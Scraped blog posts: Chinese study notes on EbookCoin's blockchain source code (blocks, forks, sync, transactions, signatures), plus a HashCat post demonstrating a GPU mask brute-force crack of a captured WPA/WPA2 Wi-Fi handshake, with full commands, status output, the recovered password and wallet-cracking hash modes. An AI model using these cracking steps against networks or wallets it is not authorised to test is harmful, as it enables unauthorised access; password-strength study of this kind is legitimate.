transactions = modules.transactions.getUnconfirmedTransactionList(); var ready = []; // 这里是一个each的用法,用于遍历这个待处理的交易 async.eachSeries(transactions, function (transaction, cb) { // 先检验sender的合法性 modules.accounts.getAccount({publicKey: transaction.senderPublicKey}, function (err, sender) { if (err || !sender) { return cb(\u0026#34;Invalid sender\u0026#34;); } if (library.logic.transaction.ready(transaction, sender)) { // 这里对交易进行交易,图个合法之后我们把他压入已确认的区块中 library.logic.transaction.verify(transaction, sender, function (err) { ready.push(transaction); cb(); }); } else { setImmediate(cb); } }); }, function () { try { // 之后就是创建这个区块了 var block = library.logic.block.create({ keypair: keypair, timestamp: timestamp, previousBlock: privated.lastBlock, transactions: ready // 已准备好的交易 }); } catch (e) { return setImmediate(cb, e); } // 处理其他字段 self.processBlock(block, true, cb); });}; 在这里，没有使用像btc一样的默克尔树的结构，看样子是直接的一个list的形式。\nProcess 是对区块的其他的属性进行的处理的函数。从上面的代码可以看出，主要的部分有：keypair，timestamp，previous，和已经OK了的交易记录 ready。函数中是有大量的判断语句，所以这里从简分析\nBlocks.prototype.processBlock = function (block, broadcast, cb) { ... privated.isActive = true; // 区块在处理 library.balancesSequence.add(function (cb) { try { block.id = library.logic.block.getId(block); } // 链高度增长 block.height = privated.lastBlock.height + 1; // 这里命名可能有点不合理，实际上应该是判断是不是该对当前块内容进行撤销 modules.transactions.undoUnconfirmedList(function (err, unconfirmedTransactions) { // 这里是发生撤销的闭包回调 function done(err) { modules.transactions.applyUnconfirmedList(unconfirmedTransactions, function () { privated.isActive = false; setImmediate(cb, err); }); // 这里是对于错误情况的判断 // 区块前驱不合法 if (!block.previousBlock \u0026amp;\u0026amp; block.height != 1) { return setImmediate(done, \u0026#34;Invalid previous block\u0026#34;); } var expectedReward = privated.milestones.calcReward(block.height); // 区块奖励不合法 if (block.height != 1 \u0026amp;\u0026amp; expectedReward !== block.reward) { return setImmediate(done, \u0026#34;Invalid block reward\u0026#34;); } // 本地数据库中查询 library.dbLite.query(\u0026#34;SELECT id FROM blocks WHERE id=$id\u0026#34;, {id: block.id}, [\u0026#39;id\u0026#39;], function (err, rows) { try { // 验证区块合法性 var valid = library.logic.block.verifySignature(block); } // 如果区块的前驱区块(相同的高度)不相同，说明发生了分叉 if (block.previousBlock != privated.lastBlock.id) { // Fork same height and different previous block modules.delegates.fork(block, 1); return done(\u0026#34;Can\u0026#39;t verify previous block: \u0026#34; + block.id); } ... // // 这里是对区块的时间戳的验证，其产生的时间，不能小于前驱，也不能太长 var blockSlotNumber = slots.getSlotNumber(block.timestamp); var lastBlockSlotNumber = slots.getSlotNumber(privated.lastBlock.timestamp); if (blockSlotNumber \u0026gt; slots.getSlotNumber() || blockSlotNumber \u0026lt;= lastBlockSlotNumber) { return done(\u0026#34;Can\u0026#39;t verify block timestamp: \u0026#34; + block.id); ... // } } ...} \u0026gt; 问: 怎么叫做日趋一致和准确,如果节点自己取，也许会取到一个完全错的时间\u0026gt; 答: 类似时间之矢（时间戳的链）。如果你挖矿成功，可以自己定义这个区块的时间戳，但是但不能早于上一个区块，也不能过于太晚，否则当区块广播出去后，其他节点发现，时间晚于自己的时间，就有可能拒接该区块。作者：大圣2017链接：https://www.jianshu.com/p/4fbcb87e05b8來源：简书著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。 分叉和同步 分叉 当分叉发生的时候，这个是一个事件函数，绑定的是收到区块广播。\n// EventsBlocks.prototype.onReceiveBlock = function (block) { // 正在同步，就直接忽略 if (modules.loader.syncing() || !privated.loaded) { return; } library.sequence.add(function (cb) { if (block.previousBlock == privated.lastBlock.id \u0026amp;\u0026amp; privated.lastBlock.height + 1 == block.height) { // 前驱块高度相等，而且当前块的高度是本地块的后继，即标准区块 library.logger.log(\u0026#39;Recieved new block id: \u0026#39; + block.id + \u0026#39; height: \u0026#39; + block.height + \u0026#39; slot: \u0026#39; + slots.getSlotNumber(block.timestamp) + \u0026#39; reward: \u0026#39; + modules.blocks.getLastBlock().reward); self.processBlock(block, true, cb); } else if (block.previousBlock != privated.lastBlock.id \u0026amp;\u0026amp; privated.lastBlock.height + 1 == block.height) { // Fork right height and different previous block \u0026lt;\u0026lt;\u0026lt;---发生了分叉 同高度，父块不同 modules.delegates.fork(block, 1); cb(\u0026#34;Fork\u0026#34;); } else if (block.previousBlock == privated.lastBlock.previousBlock \u0026amp;\u0026amp; block.height == privated.lastBlock.height \u0026amp;\u0026amp; block.id != privated.lastBlock.id) { // Fork same height and same previous block, but different block id \u0026lt;\u0026lt;\u0026lt;---发生了分叉 同父块同高度，交易内容(ID)不同 modules.delegates.fork(block, 4); cb(\u0026#34;Fork\u0026#34;); } else { cb(); } });}; 区块链同步\n节点定时的轮询网络的最新区块高度，从而及时的进行同步\nprivated.loadBlocks = function (lastBlock, cb) { // 这里就是向数据库中的随机节点发送区块高度的请求 modules.transport.getFromRandomPeer({ api: \u0026#39;/height\u0026#39;, method: \u0026#39;GET\u0026#39; }, function (err, data) { // 得到区块高度后 var peerStr = data \u0026amp;\u0026amp; data.peer ? ip.fromLong(data.peer.ip) + \u0026#34;:\u0026#34; + data.peer.port : \u0026#39;unknown\u0026#39;; if (err || !data.body) { library.logger.log(\u0026#34;Failed to get height from peer: \u0026#34; + peerStr); return cb(); } library.logger.info(\u0026#34;Check blockchain on \u0026#34; + peerStr); data.body.height = parseInt(data.body.height); // parse解析 // 老规矩的对象正则 var report = library.scheme.validate(data.body, { type: \u0026#34;object\u0026#34;, properties: { \u0026#34;height\u0026#34;: { type: \u0026#34;integer\u0026#34;, minimum: 0 } }, required: [\u0026#39;height\u0026#39;] }); if (!report) { library.logger.log(\u0026#34;Failed to parse blockchain height: \u0026#34; + peerStr + \u0026#34;\\n\u0026#34; + library.scheme.getLastError()); return cb(); } // 目前的本地高度，比接收到的数据要低 if (bignum(modules.blocks.getLastBlock().height).lt(data.body.height)) { // Diff in chainbases privated.blocksToSync = data.body.height; // 将会同步到 // 判断本地的最新的区块是不是创世区块，如果是，就完整更新，不是就只是部分更新 if (lastBlock.id != privated.genesisBlock.block.id) { // Have to find common block privated.findUpdate(lastBlock, data.peer, cb); } else { // Have to load full db privated.loadFullDb(data.peer, cb); } } else { cb(); } });}; 这里就是部分更新的函数实现。\nprivated.findUpdate = function (lastBlock, peer, cb) { // 传入了目标同步节点的地址 var peerStr = peer ? ip.fromLong(peer.ip) + \u0026#34;:\u0026#34; + peer.port : \u0026#39;unknown\u0026#39;; library.logger.info(\u0026#34;Looking for common block with \u0026#34; + peerStr); // 找到差异的区块高度 modules.blocks.getCommonBlock(peer, lastBlock.height, function (err, commonBlock) { if (err || !commonBlock) { return cb(err); } library.logger.info(\u0026#34;Found common block \u0026#34; + commonBlock.id + \u0026#34; (at \u0026#34; + commonBlock.height + \u0026#34;)\u0026#34; + \u0026#34; with peer \u0026#34; + peerStr); // 最新的区块长度，减去共有的区块长度 var toRemove = lastBlock.height - commonBlock.height; // 差的太大就不从这里更新了，提高稳定性 if (toRemove \u0026gt; 1010) { library.logger.log(\u0026#34;long fork, ban 60 min\u0026#34;, peerStr); modules.peer.state(peer.ip, peer.port, 0, 3600); return cb(); } var overTransactionList = []; //... async.series([ function (cb) { if (commonBlock.id != lastBlock.id) { modules.round.directionSwap(\u0026#39;backward\u0026#39;, lastBlock, cb); } else { cb(); } }, function (cb) { library.bus.message(\u0026#39;deleteBlocksBefore\u0026#39;, commonBlock); // 删除共同块之后的侧链(分叉链) modules.blocks.deleteBlocksBefore(commonBlock, cb); }, function (cb) { if (commonBlock.id != lastBlock.id) { modules.round.directionSwap(\u0026#39;forward\u0026#39;, lastBlock, cb); } else { cb(); } }, function (cb) { library.logger.debug(\u0026#34;Loading blocks from peer \u0026#34; + peerStr); // 删除侧链之后，从peer加载区块数据，实现自身数据的同步 modules.blocks.loadBlocksFromPeer(peer, commonBlock.id, function (err, lastValidBlock) { summary 这一部分，实现了一个区块链的运行时的操作处理，是对比前面所有部分的一个综合应用。\n实现了本地区块的加载，新区块的生成，以及分叉的处理，及区块同步。\n原理，在注释和代码阅读时候，可以基本的理解，不过，其具体的实现细节，的确还是比较复杂的。\n后 竟然把两周过的如此之快。悔之\n","date":"2018-05-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-27-ebookcoin-%E6%BA%90%E7%A0%81-0x7/","tags":null,"title":"EbookCoin 源码 0x7"},{"categories":null,"contents":"前 这个 catalogue ,用来记录一些炫酷好玩的HackTool. 属于没有什么技术深度,又是比较好玩炫酷的东西.\n作为第一篇,这里就介绍一下,这个 HashCat 的项目吧.\nHashCat 项目地址\nWhat is HashCat 哈希猫??? Cat 在美英里面,是工具集的意思了,所以　Hashcat是一款开源密码恢复工具，我们可以用它来攻击160多种哈希类型的密码, 通过的就是我们的 爆破(brute force) 工具. 其具体的爆破过程, 使用GPU算力,对所有的主流hash 都有很好的支持.\n这里,做一个简单的基准测试:\nPS C:\\Users\\R4y\\hashcat-4.1.0\u0026gt; .\\hashcat64.exe -b -w 3hashcat (v4.1.0) starting in benchmark mode...OpenCL Platform #1: Advanced Micro Devices, Inc.================================================* Device #1: Tahiti, 2393/3072 MB allocatable, 28MCU* Device #2: AMD FX(tm)xxxx Processor, skipped.Benchmark relevant options:===========================* --workload-profile=3Hashmode: 0 - MD5Speed.Dev.#1.....: 955.9 MH/s (59.76ms) @ Accel:128 Loops:64 Thr:256 Vec:1Hashmode: 100 - SHA1Speed.Dev.#1.....: 1082.1 MH/s (53.82ms) @ Accel:128 Loops:64 Thr:256 Vec:1Hashmode: 1400 - SHA-256Speed.Dev.#1.....: 618.6 MH/s (94.45ms) @ Accel:128 Loops:64 Thr:256 Vec:1Hashmode: 1700 - SHA-512Speed.Dev.#1.....: 49115.4 kH/s (74.25ms) @ Accel:32 Loops:16 Thr:256 Vec:1Hashmode: 2500 - WPA/WPA2 (Iterations: 4096)Speed.Dev.#1.....: 120.3 kH/s (53.15ms) @ Accel:128 Loops:32 Thr:256 Vec:1Hashmode: 1000 - NTLMSpeed.Dev.#1.....: 2314.9 MH/s (101.20ms) @ Accel:256 Loops:128 Thr:256 Vec:1Hashmode: 3000 - LMSpeed.Dev.#1.....: 7699.6 MH/s (60.40ms) @ Accel:64 Loops:1024 Thr:256 Vec:1Hashmode: 5500 - NetNTLMv1 / NetNTLMv1+ESSSpeed.Dev.#1.....: 2272.6 MH/s (102.62ms) @ Accel:256 Loops:128 Thr:256 Vec:1Hashmode: 5600 - NetNTLMv2Speed.Dev.#1.....: 22629.1 kH/s (80.76ms) @ Accel:32 Loops:8 Thr:256 Vec:1Hashmode: 1500 - descrypt, DES (Unix), Traditional DESSpeed.Dev.#1.....: 272.7 MH/s (53.13ms) @ Accel:2 Loops:1024 Thr:256 Vec:1... 发现其综合的计算能力,还是很强的, 这次我们的 WPA 也可以到 120kH/s 也就是12W的级别. 而且根据:\n\u0026gt; hashcat help 里可见,其支持的种类还是相当之多的.特别是,这里,还有这几个选项.所以,密码一定要足够强~\n11300 | Bitcoin/Litecoin wallet.dat | Password Managers12700 | Blockchain, My Wallet | Password Managers15200 | Blockchain, My Wallet, V2 | Password Managers16600 | Electrum Wallet (Salt-Type 1-3) | Password Managers13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Managers15500 | JKS Java Key Store Private Keys (SHA1) | Password Managers15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256 | Password Managers15700 | Ethereum Wallet, SCRYPT | Password Managers16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256 | Password Managers Start From Now 这里, 就使用 HC 来破解一下,我们的 Wifi 密码吧. 这里的离线密码文件是 *.cap . 使用 AirCrack-ng 工具集拿到的,具体的过程,后面闲的话,可能是会有教程的.\nhashcat –help #查看帮助文档General:-m （–hash-type=NUM） #hash种类，下面有列表，后面跟对应数字-D –opencl-device-types | Str| OpenCL device-types to use, separate with comma #选择用CPU还是GPU来破解-a （–attack-mode=NUM） #破解模式，下面也有列表 attack-mode：\n0 = Straight （字典破解） 1 = Combination （组合破解） 2 = Toggle-Case 3 = Brute-force （掩码暴力破解） 4 = Permutation （组合破解） 5 = Table-Lookup 根据 help 文档,我们的启动参数如下\n./hashcat64.exe -a 3 -m 2500 \u0026#34;J:\\h60.hccap\u0026#34; --session=all -o \u0026#34;C:\\result\\asd.found2500.txt\u0026#34; --outfile-format=2 -w 3 -i --increment-min=8 --increment-max=10 -1 ?d?d?d?d?d?d?d?d?d?d ?1?1?1?1?1?1?1?1?1?d 参数说明, 可以看出 ,\n-m [type] [in_file] -o [out_file] [optional] 这里使用.8位到十位的递增模式, 其掩码为 ?d?d?d… 这里的D就是指的数字的意思.一个回车执行破解过程:现在是破解中\nSession..........: allStatus...........: ExhaustedHash.Type........: WPA/WPA2Hash.Target......: Huawei_H60_9a79 (AP:88:28:b3:f6:2c:e6 STA:48:8a:d2:7b:8b:6e)Time.Started.....: Fri Jun 08 04:07:25 2018 (2 hours, 9 mins)Time.Estimated...: Fri Jun 08 06:17:11 2018 (0 secs)Guess.Mask.......: ?1?1?1?1?1?1?1?1?1 [9]Guess.Charset....: -1 ?d?d?d?d?d?d?d?d?d?d, -2 Undefined, -3 Undefined, -4 UndefinedGuess.Queue......: 1/2 (50.00%)Speed.Dev.#1.....: 128.4 kH/s (52.72ms) @ Accel:128 Loops:32 Thr:256 Vec:1Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) SaltsProgress.........: 1000000000/1000000000 (100.00%)Rejected.........: 0/1000000000 (0.00%)Restore.Point....: 100000000/100000000 (100.00%)Candidates.#1....: 689009973 -\u0026gt; 676464973HWMon.Dev.#1.....: Temp: 65c Fan: 51% Util: 99% Core:1050MHz Mem:1250MHz Bus:16 找到Key之后: 这里的密码选取是 1234567890 所以跑数据的过程,还是比较久的.\nSession..........: allStatus...........: CrackedHash.Type........: WPA/WPA2Hash.Target......: Huawei_H60_9a79 (AP:88:28:b3:f6:2c:e6 STA:48:8a:d2:7b:8b:6e)Time.Started.....: Fri Jun 08 06:17:12 2018 (2 hours, 8 mins)Time.Estimated...: Fri Jun 08 08:25:48 2018 (0 secs)Guess.Mask.......: ?1?1?1?1?1?1?1?1?1?d [10]Guess.Charset....: -1 ?d?d?d?d?d?d?d?d?d?d, -2 Undefined, -3 Undefined, -4 UndefinedGuess.Queue......: 2/2 (100.00%)Speed.Dev.#1.....: 128.5 kH/s (53.14ms) @ Accel:128 Loops:32 Thr:256 Vec:1Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) SaltsProgress.........: 991821824/10000000000 (9.92%)Rejected.........: 0/991821824 (0.00%)Restore.Point....: 99090432/1000000000 (9.91%)Candidates.#1....: 1890099734 -\u0026gt; 1549567890HWMon.Dev.#1.....: Temp: 65c Fan: 52% Util: 99% Core:1050MHz Mem:1250MHz Bus:16 上面的过程 ,对于 10^10 的尝试在 2Hr 里有了结果. 结果保存在我们的目标文件夹中,密码是1234567890.\n注意\n我们通过, HashCat 使用的是 hccap 文件,我们一般 TCPDUMP 导出的是 Cap的内容, 如果直接使用的话,是会报错的.\nHashfile \u0026#39;J:\\caca.cap\u0026#39;: Invalid hccapx signature 这里需要对包的格式进行转换.\n官方 Issue\n使用其,附带的工具. cap2hccapx 对其进行转换\ncap2hccapx \u0026lt;out.cap\u0026gt; -J \u0026lt;out.hccap\u0026gt; 参考文档\nhashcat官网 Cracking WPA/WPA2 with oclHashcat 在线cap转为hccap格式 HashCat 项目地址 ","date":"2018-05-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-27-hacktool-hashcat/","tags":null,"title":"HackTool HashCat"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\n交易 简介 通过前面的文章知道了，交易在区块链体系下实际上是一个泛化。其实指的是数据在链上的状态，和操作过程。所以交易这个功能，是相当于前面的所以的东西的一种综合显得尤为重要。在书中也是摊牌，说第13/14章的确是存在着细节的隐瞒。这里要深入的学习了。\n在比特币体系下的一个简单的交易其实现的功能，简单说，就是把比特币从一个账户转移到另一个账户，并且其中的部分金额被作为矿工费用给了负责进行交易校验的矿工。\n更为深入的讲解其过程实际上是，一笔已经被签名了的 交易 被用户广播到区块链网络上去。之后由矿工进行收集和封包，到区块中去，最终进行PoW过程，得到正确的Hash后，区块将会永远的被写入到链上。\n在区块链中的交易，实际上只是一串字节码，其中是没有任何的机密信息，比如私钥或者密码。所以他可以是任何的记录形式，只要这个数据记录在了区块链的网络上。发送者不需要信任任何广播该交易的节点，同时节点也不需要信任任何广播该交易的发送者\n文件包含 ./modules/transactions.js ./logic/transaction.js ./helper/transaction-types.js transactions.js 交易过程进行所需要的模块\ntransaction.js 实现一个交易的对象结构\ntransaction-types.js 一个辅助定义，用于类似的宏的的一个交易类型定义。\n重要理论 交易的生命周期\n在链上的吊椅其目的是，正确的生成，传播和验证，并且最终入链。所以在其开发的角度讲：一次交易有以下的过程\n生成交易，如前面提到的一条交易信息\n广播到网络，所有网络节点都会获得交易数据\n验证交易，验证交易的合法性，不合法的交易信息是不予打包的\n写入区块链中\n所以，可见交易时整个区块链系统的灵魂，一笔交易的实现，综合了前面的所有的内容，p2p， 签名， 加密。。。等等。\n交易类型\n实际上交易在区块链时泛化的，其不一定时特指的时价值的传递和转移。\n不过不严谨的说 BTC 只是实现了BTC可以在不同的账户之间流动的交易过程，所以其交易种类时比较单一的。\n不过我们既然是要拓展区块链的功能，那么我们在这里可以定义更多的交易过程。实际上，交易的实指，就是一次合法的信息被计入区块链的过程。\n这里可能称之其为宏可能不是十分的合适，不过从功能上讲的确是实现了宏的功能。\nmodule.exports = { SEND : 0, SIGNATURE : 1, DELEGATE : 2, VOTE : 3, USERNAME : 4, FOLLOW : 5, MULTI: 6, DAPP: 7, IN_TRANSFER: 8, OUT_TRANSFER: 9, ARTICALE: 10, EBOOK: 11, BUY: 12, READ: 13} 其实这个也不陌生，前面的 transaction.create 里面已经包含了这个交易的种类。像是签名(SIGNATURE).SEND是基本的转账交易，。。。\n交易流程\n生成,签名,广播,校验,入链,这个是区块链上一个交易的声明周期\n这里是前面常见的一个东西，就是我们的交易创建，这里也向我们展示了一笔交易的实际结构.\nvar transaction = library.logic.transaction.create({ type: TransactionTypes.SEND, // 交易类型 amount: body.amount, // sender: account, // 发送者地址 recipientId: recipientId, // 接收方地址 recipientUsername: recipientUsername, keypair: keypair, requester: keypair, secondKeypair: secondKeypair} 对一个合法的交易进行 签名,其中要记录其交易时间戳,用于追溯,接着就生成了交易ID,这个ID是及其复杂的,不会像数据库一样是生成的顺序的序号,是一种默克尔树的索引结构.\n合法性校验,每笔被广播到网络上的交易,会被节点收集,进行合法性校验,不合法的交易信息是无法被打包的,合法的交易信息,会加入当前的区块.等待网络心跳 从而开始求解当前区块.\n这里涉及到双花的问题, 双花,说明了就是一笔钱花两次.在比特币历史上是出现过双花的问题,不过在至今网络稳定的情况下.这种可能性发生的就会很小了.\n其实实现的过程如下,我们在一个区块时间内对一笔钱进行两次交易的广播,这交易信息,可能是会被不同的节点记录和接收,这里我们把这两个节点之间的差异,叫做形成了分叉. 所以,当区块产生之后,就会由另个不同的区块.当一个区块已经被确认之后,比如说,A收到了B的钱.可是此时,A拥有更强的算力,使得另一个分叉变成了最长链,这样.给B的转账就是变成无效化的了.这就是双花攻击\n笔者,其实也在一个 新的 PoW 项目中遭遇了类似的问题,不过其主要原因不是,节点作恶e,而是网络分区.\n广播点到点网络\n一但有交易广播,我们的接收到的节点,就把他分送到所有的 peerlist 的节点,具体的过程,是把信息 post 到节点的 /api/peer/transaction 这个接口去.\n代码实现 API\n这个地方的代码就是十分重要和综合的了,这里实现了一个完整的交易.\n先从交易的API入手,来拆解一个交易过程的实现原理\nrouter.map(shared, { \u0026#34;get /\u0026#34;: \u0026#34;getTransactions\u0026#34;, \u0026#34;get /get\u0026#34;: \u0026#34;getTransaction\u0026#34;, \u0026#34;get /unconfirmed/get\u0026#34;: \u0026#34;getUnconfirmedTransaction\u0026#34;, \u0026#34;get /unconfirmed\u0026#34;: \u0026#34;getUnconfirmedTransactions\u0026#34;, \u0026#34;put /\u0026#34;: \u0026#34;addTransactions\u0026#34; }); library.network.app.use(\u0026#39;/api/transactions\u0026#39;, router); 添加交易\n从请求方式我们么一看出,实际上 这个put 是上传数据的,就是写数据,所以这里贴上其代码,进行深入分析\nshared.addTransactions = function (req, cb) { var body = req.body; library.scheme.validate(body, { type: \u0026#34;object\u0026#34;, properties: { ... // 对象结构的合法性检测 }, required: [\u0026#34;secret\u0026#34;, \u0026#34;amount\u0026#34;, \u0026#34;recipientId\u0026#34;] }, function (err) { if (err) { return cb(err[0].message); } // 出现了很多遍的验证密码的过程 var hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secret, \u0026#39;utf8\u0026#39;).digest(); var keypair = ed.MakeKeypair(hash); if (body.publicKey) { if (keypair.publicKey.toString(\u0026#39;hex\u0026#39;) != body.publicKey) { return cb(\u0026#34;Invalid passphrase\u0026#34;); } } var query = {}; // 进行地址正则, 不是地址,就是用户别名 (接收方 reception) var isAddress = /^[0-9]+[L|l]$/g; if (isAddress.test(body.recipientId)) { query.address = body.recipientId; } else { query.username = body.recipientId; } // 在序列中进行添加 library.balancesSequence.add(function (cb) { // 注意这个 query,这里是获取(**验证**)接收方的账户 modules.accounts.getAccount(query, function (err, recipient) { if (err) { return cb(err.toString()); } // 如果不存在接收方,之间返回交易时不会发生的 if (!recipient \u0026amp;\u0026amp; query.username) { return cb(\u0026#34;Recipient not found\u0026#34;); } var recipientId = recipient ? recipient.address : body.recipientId; var recipientUsername = recipient ? recipient.username : null; //这里对发送方的账户合法性进行检验 if (body.multisigAccountPublicKey \u0026amp;\u0026amp; body.multisigAccountPublicKey != keypair.publicKey.toString(\u0026#39;hex\u0026#39;)) { // 如果时多重签名的情况 modules.accounts.getAccount({publicKey: body.multisigAccountPublicKey}, function (err, account) { if (err) { return cb(err.toString()); } // 账户不存在 if (!account || !account.publicKey) { return cb(\u0026#34;Multisignature account not found\u0026#34;); } if (!account || !account.multisignatures) { return cb(\u0026#34;Account does not have multisignatures enabled\u0026#34;); } // 账户不存在于签名组 if (account.multisignatures.indexOf(keypair.publicKey.toString(\u0026#39;hex\u0026#39;)) \u0026lt; 0) { return cb(\u0026#34;Account does not belong to multisignature group\u0026#34;); } // 继续验证发送方 modules.accounts.getAccount({publicKey: keypair.publicKey}, function (err, requester) { if (err) { return cb(err.toString()); } // if (!requester || !requester.publicKey) { return cb(\u0026#34;Invalid requester\u0026#34;); } if (requester.secondSignature \u0026amp;\u0026amp; !body.secondSecret) { return cb(\u0026#34;Invalid second passphrase\u0026#34;); } if (requester.publicKey == account.publicKey) { return cb(\u0026#34;Invalid requester\u0026#34;); } var secondKeypair = null; if (requester.secondSignature) { var secondHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secondSecret, \u0026#39;utf8\u0026#39;).digest(); secondKeypair = ed.MakeKeypair(secondHash); } try { // 这里创建交易, // 其中的信息有以上描述的许多 var transaction = library.logic.transaction.create({ type: TransactionTypes.SEND, amount: body.amount, sender: account, recipientId: recipientId, recipientUsername: recipientUsername, keypair: keypair, requester: keypair, secondKeypair: secondKeypair }); } catch (e) { return cb(e.toString()); } // 这里的处理很重要 modules.transactions.receiveTransactions([transaction], cb); }); }); } else { // 如果时普通签名的情况 modules.accounts.getAccount({publicKey: keypair.publicKey.toString(\u0026#39;hex\u0026#39;)}, function (err, account) { // 基本同上 }); } }); }, function (err, transaction) { if (err) { return cb(err.toString()); } cb(null, {transactionId: transaction[0].id}); }); });} 当我们完成了一系列的操作后产生了一个交易的条目(var transaction),在最后,使用了\nmodules.transactions.receiveTransactions([transaction], cb); 对这个产生的交易对象进行处理\nTransactions.prototype.receiveTransactions = function (transactions, cb) { // 使用串行调度, 对transactions 的所有的 transaction 进行遍历 async.eachSeries(transactions, function (transaction, cb) { // 未经确认的交易处理函数 self.processUnconfirmedTransaction(transaction, true, cb); }, function (err) { cb(err, transactions); });} 上面的是交易处理函数,处理遍历交易列表每笔交易,下面是单笔交易的处理函数\nTransactions.prototype.processUnconfirmedTransaction = function (transaction, broadcast, cb) { // 获取交易发送者的账户公钥 modules.accounts.setAccountAndGet({publicKey: transaction.senderPublicKey}, function (err, sender) { // 注意,这里是定义的一个函数,实际上是在最后进行的操作,闭包函数第一次遇到,后面有总结 function done(err) { if (err) { return cb(err); } // 这里是完成后的过程,在最后... // 这里执行的是把这个交易加入当前的区块 privated.addUnconfirmedTransaction(transaction, sender, function (err) { if (err) { return cb(err); } // 在总线上发送一个未确认的交易的消息 library.bus.message(\u0026#39;unconfirmedTransaction\u0026#39;, transaction, broadcast); cb(); }); } if (err) { return done(err); } // 一样的发送者的合法性,以及检验多重签名检验 if (transaction.requesterPublicKey \u0026amp;\u0026amp; sender \u0026amp;\u0026amp; sender.multisignatures \u0026amp;\u0026amp; sender.multisignatures.length) { modules.accounts.getAccount({publicKey: transaction.requesterPublicKey}, function (err, requester) { //同下 }); } else { // 开始交易检验和处理 library.logic.transaction.process(transaction, sender, function (err, transaction) { if (err) { return done(err); } // 这里进行双花检验,同一个ID的交易,不允许出现两次 if (privated.unconfirmedTransactionsIdIndex[transaction.id] !== undefined || privated.doubleSpendingTransactions[transaction.id]) { return cb(\u0026#34;Transaction already exists\u0026#34;); } // 该交易已经通过校验,之后对 DONE 进行回调实现了交易的打包 library.logic.transaction.verify(transaction, sender, done); }); } });} 闭包函数:有权访问另一个函数作用域内变量的函数都是闭包\n我们知道，js的每个函数都是一个个小黑屋，它可以获取外界信息，但是外界却无法直接看到里面的内容。将变量 n 放进小黑屋里，除了 inc 函数之外，没有其他办法能接触到变量 n，而且在函数 a 外定义同名的变量 n 也是互不影响的，这就是所谓的增强“封装性”。\n简单说,在一个函数的包里,实现了另一个函数,之前在一个python里面也是看见了这种闭包的写法\n这里还的调用栈中出现了 process 和 verify\nProcess 函数的实现就比较简单\nthis.process = function (trs, sender, cb) { setImmediate(cb, null, trs);} 在上面的进行的是立即执行回调,可能是便于重用\nverify 函数 进行交易的 recipient 的地址和法检测,并且判断,转账的金额小于 0\nthis.verify = function (trs, sender, cb) { var isAddress = /^[0-9]+[L|l]$/g; if (!isAddress.test(trs.recipientId.toLowerCase())) { return cb(\u0026#34;Invalid recipient\u0026#34;); } if (trs.amount \u0026lt;= 0) { return cb(\u0026#34;Invalid transaction amount\u0026#34;); } cb(null, trs); // 完成之后回调,那个闭包的 done} 这里贴出 Done 函数, 分析交易校验完成之后的操作\nfunction done(err) { if (err) { return cb(err); } // 这里是完成后的过程,在最后... // 这里执行的是把这个交易加入当前的区块 privated.addUnconfirmedTransaction(transaction, sender, function (err) { if (err) { return cb(err); } // 在总线上发送一个未确认的交易的消息 library.bus.message(\u0026#39;unconfirmedTransaction\u0026#39;, transaction, broadcast); cb(); });} privated.addUnconfirmedTransaction = function (transaction, sender, cb) { self.applyUnconfirmed(transaction, sender, function (err) { if (err) { self.addDoubleSpending(transaction); return setImmediate(cb, err); } privated.unconfirmedTransactions.push(transaction); // 这里在当前的区块里把交易压入,即打包 var index = privated.unconfirmedTransactions.length - 1; privated.unconfirmedTransactionsIdIndex[transaction.id] = index; // 添加交易索引 setImmediate(cb); //立即执行后面的回调 });} 后 在这个部分,是真正的实现了一次链上的交易, 整个过程从交易的产生,到处理,校验,和打包广播.基本上是实现了一个交易的生命周期.整个过程是十分精彩的.\n从客户端调用API向节点发送 交易信息,到交易被创建,检验,打包,发送.这几个过程.都很好的展现了出来\n","date":"2018-05-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-15-ebookcoin-%E6%BA%90%E7%A0%81-0x6/","tags":null,"title":"EbookCoin 源码 0x6"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\n签名 简介 现实中的签名是有法律效益的，每个人的签名痕迹都是独一无二的，所以签名是用来证明这个东西是否和你相关的最好的东西。在现在的数字时代，签名一样是必不可少的而且是是数字化的。…又啰嗦了好多。\n所以在区块链上，的数字资产的证明，一样是离不开数字签名的，当然在拓展需求的情况下还存在着多重签名。\n数字签名技术，来自于 PKI 体系下的东西。我把某一数据的摘要值，使用我的私钥进行加密，接收方拥有我的公钥，即可以进行验证，对其加密摘要进行解密，之后与原文的同类型摘要进行对比，对比一致，就可以证明，数据没有被修改，且数据源是正确的发送方。这样就像等于对数据进行了签名。其具体的实现，在网上找了链接。\n数字签名原理及其应用-CSDN\n数字签名、数字证书关系-知乎\n前面我们讲了，在区块链的世界，一切的操作或多或少都离不开交易，那么如果我要转账操作，那么如何说明这个操作是合法的呢？这里就是数字签名在区块链里的作用，进行交易广播的签名， 这样大家都知道和认为，这个交易是合法的。\n文件包含 实现签名操作的模块如下\n./modules/signatures.js ./modules/multisignatures.js signatures.js 实现了对交易进行签名的功能\nmultisignatures.js 如其名曰，实现了消息的多重签名的功能。\n代码实现 API\n实现外部功能，就少不了API接口，一样的是对EXPRESS框架的拓展\nrouter.map(shared, { \u0026#34;get /fee\u0026#34;: \u0026#34;getFee\u0026#34;, \u0026#34;put /\u0026#34;: \u0026#34;addSignature\u0026#34;});library.network.app.use(\u0026#39;/api/signatures\u0026#39;, router); 得到的路由接口的对应关系是\nget /api/signatures/fee -\u0026gt; getFeeput /api/signatures/ -\u0026gt; addSignature 添加签名\n签名的添加在文中实现的代码如下。不知为何这个功能在整个项目中是只是留出了接口，而且和原本想想的作用不是十分一致。shared.addSignature = function (req, cb) { var body = req.body; library.scheme.validate(body, { type: \u0026#34;object\u0026#34;, ... // 